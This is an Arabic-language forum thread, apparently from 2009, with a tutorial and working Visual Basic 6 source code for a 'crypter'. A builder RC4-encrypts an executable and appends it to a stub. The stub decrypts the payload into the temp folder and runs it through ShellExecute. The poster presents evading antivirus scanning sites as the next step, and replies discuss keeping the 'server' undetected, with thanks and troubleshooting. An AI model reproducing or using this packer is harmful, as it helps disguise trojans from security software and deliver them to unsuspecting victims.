[ Visual Basic 6 ] حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

تم تحميل الصفحة في 0,2321883 ثانية
حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك
الحالة
مغلق و غير مفتوح للمزيد من الردود.

SuL6An

Active DeveloPer
rankrank
إنضم
12 يوليو 2009
المشاركات
421
الإعجابات
44
النقاط
0



كيف الحال

مبين من العنوآن

اليوم بشرح لكم طريقه بسيطه لتصميم برنامج تشفير

طبعا بعد ماتصصمونه وتحسون طفشتم منه

تستطيعون انكم تطوورون الستب حق البرنامج

مثل تخطي مواقع الفحص الخ

ماعلينا

الحين بشرح لكم طريقه تصميم برنامج تشفير

وبرنامج راح يعتمد على شيئين

1- برنامج عادي يظهر للمستخدم

2- ستب وهو الى عليه كل كلام التشفير وغير ظاهر للمستخدم

يالله ندخل بالشرح

مختصر بصوره



طيب الحين نجي الاكوآد

كـواد البرنامج :_:


في التصريحات العامه (General ) :_:
كود:
Option Explicit 
Const FileSplit = "<%*#%>" 
Const pw = "DnT%[email protected]#q&szlig;"
في زر الاستعراض


Command1

نضع هذا الكود :


كود:
    With CommonDialog1 ' انتظار اداه دايلق 
    .Filter = "Excuteable Files (*exe) | *.exe" ' استعراض ملف صيغه exe تنفيذيه تستطيع انك تبدل 
    .DialogTitle = "Select a File" 
    .ShowOpen ' امر الاستعراض وجلب 
    End With 
****1.**** = CommonDialog1.File**** ' امر احضار الملف في مربع التكست

النجوم رقم 1 تعني = T e x t

النجوم الثانيه تعني = N A M E

في زر التشفير

Command2

نضع هذا الكود :


كود:
Dim sStube As String, sFile As String 

Open App.Path & "\stube.exe" For Binary As #1 ' اسم الستب 
sStube = Space(LOF(1)) 
Get #1, , sStube 
Close #1 


Open ****1.**** For Binary As #1 
sFile = Space(LOF(1)) 
Get #1, , sFile 
Close #1 

Open App.Path & "\s3od.exe" For Binary As #1  ' اسم الملف الناتج بعد التشفير 
Put #1, , sStube & FileSplit & RC4(sFile, pw) 
Close #1 

MsgBox "مبــروك تم تشفير الملف بنجآح"
النجوم تعني = t e x t



في الموديل الى اضنفاه

ModRc4


نضع هذا الكود :_:

كود:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String 
On Error Resume Next 
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte 
If Len(Password) = 0 Then 
    Exit Function 
End If 
If Len(Expression) = 0 Then 
    Exit Function 
End If 
If Len(Password) > 256 Then 
    Key() = StrConv(Left$(Password, 256), vbFromUnicode) 
Else 
    Key() = StrConv(Password, vbFromUnicode) 
End If 
For X = 0 To 255 
    RB(X) = X 
Next X 
X = 0 
Y = 0 
Z = 0 
For X = 0 To 255 
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256 
    Temp = RB(X) 
    RB(X) = RB(Y) 
    RB(Y) = Temp 
Next X 
X = 0 
Y = 0 
Z = 0 
ByteArray() = StrConv(Expression, vbFromUnicode) 
For X = 0 To Len(Expression) 
    Y = (Y + 1) Mod 256 
    Z = (Z + RB(Y)) Mod 256 
    Temp = RB(Y) 
    RB(Y) = RB(Z) 
    RB(Z) = Temp 
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256)) 
Next X 
RC4 = StrConv(ByteArray, vbUnicode) 
End Function
..........................

بكذا يكون خلصنا من اكوآد البرنامج

نحفظه exe

ونضعه بمجلد الحاله ثم الان نجي لستب

ونضع اكوآده

الموديل الى في الستب

الاول

ModMain

الكود الذي يوضع فيه هو :


كود:
Option Explicit 
Const FileSplit = "<%*#%>" 
Const pw = "DnT%[email protected]#qك" 
Public Declare Function [B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B]lExecute Lib "[B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B]l32.dll" Alias "[B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B]lExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long 

Public Sub Main() 
Dim sStub As String, sFile As String 

Open App.Path & "\" & App.EXE**** & ".exe" For Binary As #1 ' اضافة ملف امتدآده تنفيذي 
sStub = Space(LOF(1)) 
Get #1, , sStub ' اسم الستب 
Close #1 ' اغلاق 

sFile = Split(sStub, FileSplit)(1) 

Open Environ("tmp") & "decrypted.exe" For Binary As #1 
Put #1, , RC4(sFile, pw) 
Close #1 'وضع نسخه باسم مسمي في التيمب واغلاق بعد الانتهاء 


Call [B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B][B][COLOR="Red"]*[/COLOR][/B]lExecute(0, vbNullString, Environ("tmp") & "decrypted.exe", vbNullString, vbNullString, 1) 'الاتصال بالملف الذي تم نسخه 


End Sub
النجوم تعني = N a m e

موديل رقم 2

باسم ModRc4

كود هـو :

كود:
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String 
On Error Resume Next 
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte 
If Len(Password) = 0 Then 
    Exit Function 
End If 
If Len(Expression) = 0 Then 
    Exit Function 
End If 
If Len(Password) > 256 Then 
    Key() = StrConv(Left$(Password, 256), vbFromUnicode) 
Else 
    Key() = StrConv(Password, vbFromUnicode) 
End If 
For X = 0 To 255 
    RB(X) = X 
Next X 
X = 0 
Y = 0 
Z = 0 
For X = 0 To 255 
    Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256 
    Temp = RB(X) 
    RB(X) = RB(Y) 
    RB(Y) = Temp 
Next X 
X = 0 
Y = 0 
Z = 0 
ByteArray() = StrConv(Expression, vbFromUnicode) 
For X = 0 To Len(Expression) 
    Y = (Y + 1) Mod 256 
    Z = (Z + RB(Y)) Mod 256 
    Temp = RB(Y) 
    RB(Y) = RB(Z) 
    RB(Z) = Temp 
    ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256)) 
Next X 
RC4 = StrConv(ByteArray, vbUnicode) 
End Function

طيب الحين نحفظ الستب

باسم

Stube

ونحطه جنب البرنامج الى حفظناه ونستمتع بالتشفيره والبرمجه


تستطيع انك تبدل اسم الستب للي تحب عادي في الاكوآد حقت البرنامج



ارفقت لكم في مجلد الصور + الاكوآد + السورس الى تم تطبيق عليه الشرح

على شان لما تخطئون تعرفون اخطأكم وين

http://up2.m5zn.com/download-2009-4-26-10-1u1te4c2m.rar


وان شاء الله اكون سويت لكم فائده

وتقدرون تطوروون الستب حق برنامجكم لانه هو اهم شي لما تطورونه راح تطوروون الملف الناتج

اهداء للجميع

على رئسهم دحوم+ولد بوعدنان+Dr.ADeeB+CoFeN Of EviL+Anti-Trojan+Cry OF Death

اعذرونى اذا نسيت حدـــ ا
بالتوفيق
الموصوع اهدا الى الكل
التقيم اذا استاهل
منقول
 

anT!-Tr0J4n

.:: Legends DeveloPer ::.
rankrankrankrankrankrank
إنضم
7 يناير 2008
المشاركات
5,504
الإعجابات
386
النقاط
83
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

يعيطك الف عافية على النقل المميز

وآصل

:9:
 
إنضم
11 يوليو 2009
المشاركات
110
الإعجابات
2
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

مشكوووور وجزاك الله الف الف الف الف خير اناادور هاذي الطريقه من زمان .. واخير لقيتها .. مشكور وما تقصر حبيبي ..:31:
 
إنضم
11 يوليو 2009
المشاركات
110
الإعجابات
2
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

بس حبيبي الستب فيه مشكله يوم اشفره افتح الباتش تفتح لي نافذة الدوس وتختفي بسرعه ياليت تعلمني شنو المشكله :3:
 
إنضم
26 يناير 2009
المشاركات
209
الإعجابات
5
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

يعطيك العآفيه .. لاهنت على النقل المميز واصل أبدااعك :32:
 
إنضم
24 يوليو 2008
المشاركات
5,816
الإعجابات
469
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

كفو والله يامبدع

لاهنت على الاهدااء فديتك

تستاهل التقيم
 

sarah

Beginner Developer
rankrankrankrankrankrank
إنضم
18 أبريل 2009
المشاركات
3,536
الإعجابات
290
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

بس حبيبي الستب فيه مشكله يوم اشفره افتح الباتش تفتح لي نافذة الدوس وتختفي بسرعه ياليت تعلمني شنو المشكله :3:



أخوي لازم تخلي أسسمَ السستبَ الي داخلَ المشروع َ تخليه َ نفس الاسمَ بالسستبَ الخارجيَ اذا شفرتَ

وهوَ متغيرَ راح َ يطلعَ نفس ماقلتَ ملفينَ ملفَ بآسسمَ سستب والملفَ الثانيَ بآسسمَ المشروعَ الي َ انت حابَ


تحطَ اي َأسسمَ فيه واحد يقولكَ خطأ َ والثانيَ يفتحَ لك الدوسَ اتعبَ الي قلت َ لك وراح يضبطَ ويآ‘كَ
 
إنضم
13 يناير 2007
المشاركات
8,231
الإعجابات
249
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

بارك الله فيك


تصميم رائع

واصل يابطل



:19:
 
إنضم
27 أكتوبر 2008
المشاركات
420
الإعجابات
15
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

يعـطيك العـآفيـه ..


تستـآهـل التقييم ...:)
 
إنضم
14 نوفمبر 2009
المشاركات
271
الإعجابات
12
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

من فضلك حتى انا لدي متل مشكلة العضو فرعون عرعر
ولاكن لااعرف مايجب علي ان اغير في الستب
 
إنضم
6 فبراير 2009
المشاركات
1,131
الإعجابات
80
النقاط
48
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

مشكور يا اخي على النقل والشكر يكون اكبر لصانع الموضوع mr.seraj في امان العرب
 
إنضم
16 ديسمبر 2007
المشاركات
693
الإعجابات
8
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

يعيطك الف عافية على النقل المميز

وآصل
 

Dr.ADeeB

.:: Legends DeveloPer ::.
rankrankrankrankrankrank
إنضم
23 أغسطس 2008
المشاركات
5,133
الإعجابات
874
النقاط
113
الإقامة
Palestine
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

مشكور يا وحش واشكرك على الاهداء
 
إنضم
3 نوفمبر 2009
المشاركات
5,782
الإعجابات
9,783
النقاط
113
الإقامة
Iraq
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

للاسف الاكواد فيهآ شي !

كل ماجي أحفظ يطلع لي شي !

اعدله يطلع شي جديد وانا نآسخ الاكواد موب كاتبها ..

ع العموم يعطييك العآفيه :32:
 
إنضم
27 يونيو 2009
المشاركات
913
الإعجابات
68
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

من الاخر السيرفر كلين ولا لأ
اذا فيها اشفر الستب . عيل ما منه فايده اشفر لي باتش احسن خخخخخخخخخخخ
$
مشكور
 

MeLeK-J

ExpErt DeveloPer
rankrankrankrankrank
إنضم
28 أكتوبر 2009
المشاركات
2,483
الإعجابات
332
النقاط
83
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

يعيطك الف عافية على النقل المميز

وآصل

:32:

 
إنضم
28 أكتوبر 2009
المشاركات
231
الإعجابات
0
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

اخوي سلطان
جزاك الله كل خير

بس انا مافهمت الخطوه اللي قبل الاخيره

الحين بعد ما خلصنا من المشروع وضفنا 2 موديل
قلت نحفظه بصيغة exe
وبعدها نفتح مشروع جديد ونضيف موديلين !!
انا هنا ما فهمت وش تقصد ؟ يعني نضيفها على القديم والا وين نحفظها والا كيف بالضبط ؟
 
إنضم
24 أكتوبر 2009
المشاركات
1,187
الإعجابات
138
النقاط
0
رد: حصريآ على DeV-PoInT . شرح كيفية تصميم برنآمج تشفـير بالفجوال بيسك

مشكوور حبيبي لاكن عندي سؤل

وين نحط CommonDialog1
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل